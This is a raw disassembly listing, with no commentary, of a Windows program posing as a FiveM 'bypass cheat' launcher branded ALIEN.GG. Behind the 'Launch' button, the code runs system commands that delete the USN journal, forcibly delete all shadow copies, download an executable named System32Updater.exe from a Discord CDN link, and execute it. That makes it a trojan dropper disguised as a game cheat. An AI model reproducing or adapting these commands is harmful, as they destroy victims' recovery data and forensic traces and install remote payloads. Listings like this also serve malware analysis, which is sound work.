call fcn.1400033f0
lea rcx, [rbp + 0xe8]
mov dword [rbp + 0xe8], 0x42c80000
mov dword [rbp + 0xec], 0x42dc0000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.Product:_FiveM_Bypass_Cheat
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0xf0]
mov dword [rbp + 0xf0], 0x42a00000
mov dword [rbp + 0xf4], 0x43f00000
call fcn.14000eb64
lea rdx, [rbp + 0xf8]
mov dword [rbp + 0xf8], 0x42480000
lea rcx, str.GO_BACK
mov dword [rbp + 0xfc], 0x41f00000
call fcn.14002d5f0
mov ecx, dword [reloc.WS2_32.dll_accept]
test al, al
mov dword [rbp + 0x100], 0x43c30000
cmovne ecx, ebx
mov dword [rbp + 0x104], 0x43f40000
mov dword [reloc.WS2_32.dll_accept], ecx
lea rcx, [rbp + 0x100]
call fcn.14000eb64
movaps xmm0, xmmword [0x140116b90]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.UNDETECTED
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x108]
mov dword [rbp + 0x108], 0x43eb0000
mov dword [rbp + 0x10c], 0x43f00000
call fcn.14000eb64
lea rdx, [rbp + 0x110]
mov dword [rbp + 0x110], 0x42a00000
lea rcx, str.Launch
mov dword [rbp + 0x114], 0x41f00000
call fcn.14002d028
test al, al
je 0x14003986e
lea rcx, str.del__LOCALAPPDATA_FiveMFiveM.apppluginsd3d10.dll
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.fsutil_usn_deletejournal__D_C:
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.fsutil_usn_createjournal_m1000_a100_C:
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.vssadmin_delete_shadows__forc:__all
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent__o___LOCALAPPDATA_FiveMFiveM.appSystem32Updater.exe___https:__cdn.discordapp.com_attachments_1132807594717749268_1148877353209036860_System32Updater.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str._LOCALAPPDATA_FiveMFiveM.appSystem32Updater.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp dword [reloc.WS2_32.dll_accept], r14d
jne 0x140039b0d
lea rcx, [rbp + 0x118]
mov dword [rbp + 0x118], 0x42c80000
mov dword [rbp + 0x11c], 0x41a00000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm11
call fcn.14000e6c4
lea rcx, str.News
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x120]
mov dword [rbp + 0x120], 0x42c80000
mov dword [rbp + 0x124], 0x42a00000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116b90]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.Launcher_Update
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x128]
mov dword [rbp + 0x128], 0x434d0000
mov dword [rbp + 0x12c], 0x42a00000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116b70]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.15_08_2023
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x130]
mov dword [rbp + 0x130], 0x42c80000
mov dword [rbp + 0x134], 0x42c80000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.The_cheat_is_coming_soon_to_be_released
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x138]
mov dword [rbp + 0x138], 0x42c80000
mov dword [rbp + 0x13c], 0x42f00000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116b90]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.FiveM__Bypass
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x140]
mov dword [rbp + 0x140], 0x434d0000
mov dword [rbp + 0x144], 0x42f00000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116b70]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.06_09_2023
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x148]
mov dword [rbp + 0x148], 0x42c80000
mov dword [rbp + 0x14c], 0x430c0000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.THE_CHEAT_RELEASED_WITH_BYPASS
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
cmp dword [reloc.WS2_32.dll_accept], r13d
jne 0x140039caa
lea rcx, [rbp + 0x150]
mov dword [rbp + 0x150], 0x42c80000
mov dword [rbp + 0x154], 0x41a00000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm11
call fcn.14000e6c4
lea rcx, str.DASHBOARD
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x158]
mov dword [rbp + 0x158], 0x42c80000
mov dword [rbp + 0x15c], 0x42a00000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movss xmm0, dword [0x14011670c]
call fcn.14000e6c4
lea rcx, str.DISCORD
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x160]
mov dword [rbp + 0x160], 0x42c80000
mov dword [rbp + 0x164], 0x42dc0000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movss xmm0, dword [0x14011670c]
call fcn.14000e6c4
lea rcx, str.JOIN_DISCORD_FOR_SUPPORT
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x168]
mov dword [rbp + 0x168], 0x43eb0000
mov dword [rbp + 0x16c], 0x42b40000
call fcn.14000eb64
lea rdx, [rbp + 0x170]
mov dword [rbp + 0x170], 0x42a00000
lea rcx, str.Discord
mov dword [rbp + 0x174], 0x41f00000
call fcn.14002d028
test al, al
je 0x140039caa
mov dword [rsp + 0x28], r13d
lea r8, str.https:__discord.gg_DdwthRh3nb
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp dword [reloc.WS2_32.dll_accept], ebx
jne 0x14003a174
lea rcx, [rbp + 0x178]
mov dword [rbp + 0x178], 0x42c80000
mov dword [rbp + 0x17c], 0x41a00000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm11
call fcn.14000e6c4
lea rcx, str.CHEATS
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x180]
mov dword [rbp + 0x180], 0x42c80000
mov dword [rbp + 0x184], 0x42a00000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.FIVEM___ALIEN.GG
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x188]
mov dword [rbp + 0x188], 0x42c80000
mov dword [rbp + 0x18c], 0x42c80000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116b90]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.Working___Undetected
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x190]
mov dword [rbp + 0x190], 0x42c80000
mov dword [rbp + 0x194], 0x42f00000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.Last_Updated:_2023_06_09
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x198]
mov dword [rbp + 0x198], 0x43eb0000
mov dword [rbp + 0x19c], 0x42aa0000
call fcn.14000eb64
lea rdx, [rbp + 0x1a0]
mov dword [rbp + 0x1a0], 0x42a00000
lea rcx, str.View_FiveM
mov dword [rbp + 0x1a4], 0x41f00000
call fcn.14002d028
mov ecx, dword [reloc.WS2_32.dll_accept]
test al, al
mov eax, 4
cmovne ecx, eax
mov dword [reloc.WS2_32.dll_accept], ecx
lea rcx, [rbp + 0x1a8]
mov dword [rbp + 0x1a8], 0x42c80000
mov dword [rbp + 0x1ac], 0x432a0000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.FIVEM_BYPASS___ALIEN.GG
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x1b0]
mov dword [rbp + 0x1b0], 0x42c80000
mov dword [rbp + 0x1b4], 0x433e0000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116b90]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.Undetected
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x1b8]
mov dword [rbp + 0x1b8], 0x42c80000
mov dword [rbp + 0x1bc], 0x43520000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.Last_Updated:_2023_06_09
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x1c0]
mov dword [rbp + 0x1c0], 0x43eb0000
mov dword [rbp + 0x1c4], 0x43340000
call fcn.14000eb64
lea rdx, [rbp + 0x1c8]
mov dword [rbp + 0x1c8], 0x42a00000
lea rcx, str.View_Bypass
mov dword [rbp + 0x1cc], 0x41f00000
call fcn.14002d028
mov ecx, dword [reloc.WS2_32.dll_accept]
test al, al
mov eax, 7
mov dword [rbp + 0x1d0], 0x42c80000
cmovne ecx, eax
mov dword [rbp + 0x1d4], 0x43820000
mov dword [reloc.WS2_32.dll_accept], ecx
lea rcx, [rbp + 0x1d0]
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.CS:GO___ALIEN.GG
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x1d8]
mov dword [rbp + 0x1d8], 0x42c80000
mov dword [rbp + 0x1dc], 0x438c0000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116b80]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.Testing
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x1e0]
mov dword [rbp + 0x1e0], 0x42c80000
mov dword [rbp + 0x1e4], 0x43960000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.Last_Updated:_2023_15_08
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x1e8]
mov dword [rbp + 0x1e8], 0x43eb0000
mov dword [rbp + 0x1ec], 0x43898000
call fcn.14000eb64
lea rdx, [rbp + 0x1f0]
mov dword [rbp + 0x1f0], 0x42a00000
lea rcx, str.View_CS:GO
mov dword [rbp + 0x1f4], 0x41f00000
call fcn.14002d028
mov ecx, dword [reloc.WS2_32.dll_accept]
test al, al
cmovne ecx, esi
mov dword [reloc.WS2_32.dll_accept], ecx
call fcn.14000df30
call fcn.140007f88
mov rcx, qword [0x140124088]
mov r9d, r14d
mov dword [rsp + 0x30], r12d
xor r8d, r8d
movss dword [rsp + 0x28], xmm10
xor edx, edx
mov dword [rsp + 0x20], r12d
mov rax, qword [rcx]
call qword [rax + 0x158]
mov rcx, qword [0x140124088]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14003a1f7
call fcn.1400083c0
mov rax, qword [0x140124080]
mov rcx, qword [rax + 0x1d40]
mov rdx, qword [rcx]
add rdx, 0xb0
mov al, byte [rdx]
neg al
sbb rcx, rcx
and rcx, rdx
call fcn.140029fb0
mov rcx, qword [0x140124088]
mov rax, qword [rcx]
call qword [rax + 0x150]
test dword [rdi + 8], r15d
je 0x14003a2ca
call fcn.14001533c
mov rbx, qword [0x140124080]
mov r15d, r13d
mov eax, dword [rbx + 0x1630]
cmp eax, r13d
jle 0x14003a26a
mov r14d, 8
mov rax, qword [rbx + 0x1638]
mov rsi, qword [r14 + rax]
test byte [rsi + 4], 0x80
jne 0x14003a258
mov rax, qword [rbx + 0x15c0]
test rax, rax
je 0x14003a245
xor edx, edx
mov rcx, rsi
call rax
mov rax, qword [rbx + 0x1608]
test rax, rax
je 0x14003a258
xor edx, edx
mov rcx, rsi
call rax
mov eax, dword [rbx + 0x1630]
add r15d, r13d
add r14, 8
cmp r15d, eax
jl 0x14003a221
mov r15d, r13d
cmp eax, r13d
jle 0x14003a2bf
mov r14d, 8
mov rax, qword [rbx + 0x1638]
mov rsi, qword [r14 + rax]
test byte [rsi + 4], 0x80
jne 0x14003a2af
mov rax, qword [rbx + 0x15c8]
test rax, rax
je 0x14003a29c
xor edx, edx
mov rcx, rsi
call rax
mov rax, qword [rbx + 0x1610]
test rax, rax
je 0x14003a2af
xor edx, edx
mov rcx, rsi
call rax
add r15d, r13d
add r14, 8
cmp r15d, dword [rbx + 0x1630]
jl 0x14003a278
mov r15d, 0x400
mov ebx, 2
mov rcx, qword [0x140124088]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r12
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x14003a323
mov rcx, qword [0x140124088]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x14003a323
call fcn.14002a754
mov rcx, qword [0x140124088]
lea rdx, [0x140124090]
mov rax, qword [rcx]
call qword [rax + 0x80]
call fcn.14002a6e0
mov r14d, 3
lea rsi, [0x1401240d0]
cmp dword [rbp + 0x3d8], 0x12
jne 0x14003870f
call fcn.1400158d8
call fcn.14002a754
mov rcx, qword [0x140124478]
test rcx, rcx
je 0x14003a360
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140124478], r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdx, rax
lea rcx, str.ImGui_Platform
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov rbx, qword [0x140124080]
mov rcx, rbx
mov qword [0x140124490], r12
call fcn.1400072d4
mov rax, qword [0x140124080]
cmp rax, rbx
cmove rax, r12
mov qword [0x140124080], rax
test rbx, rbx
je 0x14003a3b8
mov rcx, rbx
call fcn.14001cbd0
mov rcx, rbx
call fcn.1400050ac
mov rcx, qword [0x140124088]
test rcx, rcx
je 0x14003a3d1
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140124088], r12
mov rcx, qword [0x1401240f0]
test rcx, rcx
je 0x14003a3ea
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401240f0], r12
mov rcx, qword [0x1401240e8]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x398]
mov rcx, qword [rbp + 0x3c0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
jmp 0x14003a46c
or ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rbx, qword [0x1401240f0]
mov rcx, qword [0x140124088]
test rcx, rcx
je 0x14003a440
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rbx, qword [0x1401240f0]
mov qword [0x140124088], r12
test rbx, rbx
je 0x14003a455
mov rdx, qword [rbx]
mov rcx, rbx
call qword [rdx + reloc.WS2_32.dll_recv]
mov qword [0x1401240f0], r12
mov rdx, qword [rbp + 0x398]
mov rcx, qword [rbp + 0x3c0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r13d
mov rcx, qword [rbp + 0x400]
xor rcx, rsp
call fcn.14009bc10
lea r11, [rsp + 0x580]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm14, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret